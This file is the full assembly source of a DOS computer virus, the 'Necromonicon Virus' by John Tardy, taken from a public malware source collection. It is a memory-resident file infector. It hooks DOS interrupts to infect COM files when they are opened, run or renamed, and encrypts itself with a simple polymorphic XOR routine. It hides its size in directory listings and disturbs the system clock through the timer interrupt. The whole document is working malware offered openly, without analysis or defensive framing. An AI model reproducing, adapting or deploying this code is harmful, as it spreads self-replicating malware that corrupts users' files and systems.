mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
418 lines
10 KiB
NASM
418 lines
10 KiB
NASM
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; Necromonicon Virus by John Tardy
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;
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Org 0h
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decr: jmp Crypt
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db 'Carcass'
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Loopje DB 0e2h
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db 0fah
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DecrLen Equ $-Decr
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Crypt: Push Ax
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call Get_Ofs
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Get_Ofs: pop Bp
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sub Bp,Get_Ofs
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Mov Ax,0DEADh
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Int 21h
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Cmp Ax,0AAAAh
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Je Installed
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mov ax,3521h
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int 21h
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mov word ptr cs:old21[bp],bx
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mov word ptr cs:old21[bp][2],es
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mov ax,cs
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dec ax
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mov ds,ax
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cmp byte ptr ds:[0000],'Z'
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jne installed
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mov ax,word ptr ds:[0003]
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sub ax,ParLen
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jb installed
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mov word ptr ds:[0003],ax
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sub word ptr ds:[0012h],ParLen
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lea si,decr[bp]
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mov di,0
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mov es,ds:[12h]
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mov ds,cs
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mov cx,virlen
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cld
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rep movsb
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mov ax,2521h
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mov ds,es
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mov dx,offset new21
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int 21h
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push es
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Mov Ax,351ch
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Int 21h
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Mov Word Ptr OldInt1c[0],Bx
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Mov Word Ptr OldInt1c[2],Es
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Mov Ax,251ch
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Lea Dx,NewInt1c
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Pop Ds
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Int 21h
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Installed: Mov Di,100h
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Lea Si,Org_Prg[Bp]
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Push Cs
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Push Cs
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Pop Ds
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Pop Es
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Cld
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Movsw
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Movsb
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Mov Bx,100h
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Pop Ax
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Push Bx
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Ret
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OldInt1c DD 0
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NewInt1c: Pushf
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Push Ds
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Push Ax
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Xor Ax,Ax
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Push Ax
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Pop Ds
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Mov Ax,Word Ptr Ds:[46ch]
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Dec Word Ptr Ds:[46ch]
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Dec Word Ptr Ds:[46ch]
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Cmp Ax,Word Ptr Ds:[46ch]
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Ja EOI1C
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Dec Word Ptr Ds:[46eh]
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EOI1C: Pop Ax
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Pop Ds
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Popf
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Iret
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Old21 dd 0
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New21: cmp ax,0deadh
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jne chkfunc
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mov ax,0aaaah
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mov cx,ax
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iret
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chkfunc: cmp ah,11h
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je findFCBst
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cmp ah,12h
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je findfcbst
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cmp ah,4eh
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je findst
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cmp ah,4fh
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je findst
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push bp
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push ds
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push es
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cmp ah,3dh
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je infectHan
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cmp ax,4b00h
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je infectHan
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cmp ah,41h
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je infectHan
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cmp ah,43h
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je infectHan
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cmp ah,56h
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je infectHan
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cmp ah,0fh
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je infectFCB
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cmp ah,23h
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je infectFCB
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cmp ah,6ch
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je infectdos4
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jmp endint
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findfcbst: jmp findfcb
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findst: jmp find
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InfectFCB: mov si,dx
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inc si
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push cs
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pop es
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lea di,fnam
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mov cx,8
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rep movsb
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mov cx,3
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inc di
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rep movsb
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lea dx,fnam
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push cs
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pop ds
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InfectHan: mov si,dx
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mov cx,100h
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cld
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findpnt: lodsb
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cmp al,'.'
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je chkcom
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loop findpnt
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jmp endi
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infectdos4: and dx,0fh
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cmp dx,1
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jne endi
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mov dx,si
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jmp infecthan
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chkcom: lodsw
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or ax,2020h
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cmp ax,'oc'
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jne endi
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lodsb
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or al,20h
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cmp al,'m'
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jne endi
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jmp doitj
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endi: jmp endint
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doitj: push dx
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push ds
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mov ax,4300h
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call dos
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mov cs:fatr,cx
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mov ax,4301h
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xor cx,cx
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call dos
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mov ax,3d02h
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call dos
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jnc getdate
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jmp error
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getdate: xchg ax,bx
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mov ax,5700h
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call dos
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mov cs:fdat,cx
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mov cs:fdat[2],dx
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and cx,1fh
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cmp cx,1fh
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jne chkexe
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jmp done
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chkexe: mov ah,3fh
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push cs
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pop ds
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lea dx,Org_prg
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mov cx,3
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call dos
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cmp word ptr cs:Org_prg[0],'ZM'
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je close
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cmp word ptr cs:Org_prg[0],'MZ'
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je close
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Mov ax,4202h
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xor cx,cx
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xor dx,dx
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call dos
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sub ax,3
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mov cs:jump[1],ax
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Add Ax,Offset Crypt+103h
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Mov S_1[1],Ax
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Mov S_2[1],Ax
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Mov S_3[4],Ax
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Mov S_4[4],Ax
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Call GenPoly
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mov ah,40h
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push cs
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pop ds
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lea dx,coder
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mov cx,virlen
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call dos
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mov ax,4200h
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xor cx,cx
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xor dx,dx
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call dos
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mov ah,40h
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lea dx,jump
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mov cx,3
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call dos
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or cs:fdat,01fh
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close: mov ax,5701h
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mov cx,cs:fdat
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mov dx,cs:fdat[2]
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call dos
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done: mov ah,3eh
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call dos
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pop ds
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pop dx
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push dx
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push ds
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mov ax,4301h
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mov cx,fatr
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call dos
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error: pop ds
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pop dx
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endint: pop es
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pop ds
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pop bp
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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jmp dword ptr cs:[old21]
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GenPoly: Xor Byte Ptr [Loopje],2
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Xor Ax,Ax
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Mov Es,Ax
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Mov Ax,Es:[46ch]
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Mov Es,Cs
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Push Ax
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And Ax,07ffh
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Add Ax,CryptLen
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Mov S_1[4],Ax
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Mov S_2[4],Ax
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Mov S_3[1],Ax
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Mov S_4[1],Ax
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Doit: Pop Ax
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Push Ax
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And Ax,3
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Shl Ax,1
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Mov Si,Ax
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Mov Ax,Word Ptr Table[Si]
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Mov Si,Ax
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Lea Di,decr
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Movsw
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Movsw
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Movsw
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Movsw
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Pop Ax
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Stosb
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Movsb
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Mov Dl,Al
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Lea Si,Decr
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Lea Di,Coder
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Mov Cx,DecrLen
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Rep Movsb
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Lea Si,Crypt
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Mov Cx,CryptLen
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Encrypt: Lodsb
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Xor Al,Dl
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Stosb
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Loop Encrypt
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Cmp Dl,0
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Je Fuckit
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Ret
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FuckIt: Lea Si,Encr0
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Lea Di,Coder
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Mov Cx,Encr0Len
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Rep Movsb
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Mov Ax,Cs:jump[1]
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Add Ax,Encr0Len+2
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Mov Cs:jump[1],Ax
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Ret
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Table DW Offset S_1
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DW Offset S_2
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DW Offset S_3
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DW Offset S_4
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S_1: Lea Si,0
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Mov Cx,0
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DB 80h,34h
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Inc Si
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S_2: Lea Di,0
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Mov Cx,0
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DB 80h,35h
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Inc Di
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S_3: Mov Cx,0
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Lea Si,0
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DB 80h,34h
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Inc Si
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S_4: Mov Cx,0
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Lea Di,0
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DB 80h,35h
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Inc Di
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Db '[ '
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Encr0 Db 'John Tardy'
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Encr0Len Equ $-Encr0
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Db ' / Trident'
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Db ' ]'
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getdta: pop si
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pushf
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push ax
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push bx
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push es
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mov ah,2fh
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call dos
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jmp short si
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FindFCB: call DOS
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cmp al,0
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jne Ret1
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call getdta
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cmp byte ptr es:[bx],-1
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jne FCBOk
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add bx,8
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FCBOk: mov al,es:[bx+16h]
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and al,1fh
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cmp al,1fh
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jne FileOk
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sub word ptr es:[bx+1ch],Virlen
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sbb word ptr es:[bx+1eh],0
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jmp short Time
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Find: call DOS
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jc Ret1
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call getdta
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mov al,es:[bx+16h]
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and al,1fh
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cmp al,1fh
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jne FileOk
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sub word ptr es:[bx+1ah],VirLen
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sbb word ptr es:[bx+1ch],0
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Time: xor byte ptr es:[bx+16h],10h
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FileOk: pop es
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pop bx
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pop ax
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popf
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Ret1: retf 2
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Db '| Trapped in a spell of the Necromonicon |'
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dos: pushf
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call dword ptr cs:[old21]
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ret
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Org_prg dw 0cd90h
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db 20h
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fnam db 8 dup (0)
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db '.'
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db 3 dup (0)
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db 0
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fatr dw 0
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fdat dw 0,0
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jump db 0e9h,0,0
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ResLen Equ ($-Decr)/10h
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ParLen Equ (Reslen*2)+10h
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CryptLen Equ $-Crypt
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VirLen Equ $-Decr
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Coder Equ $
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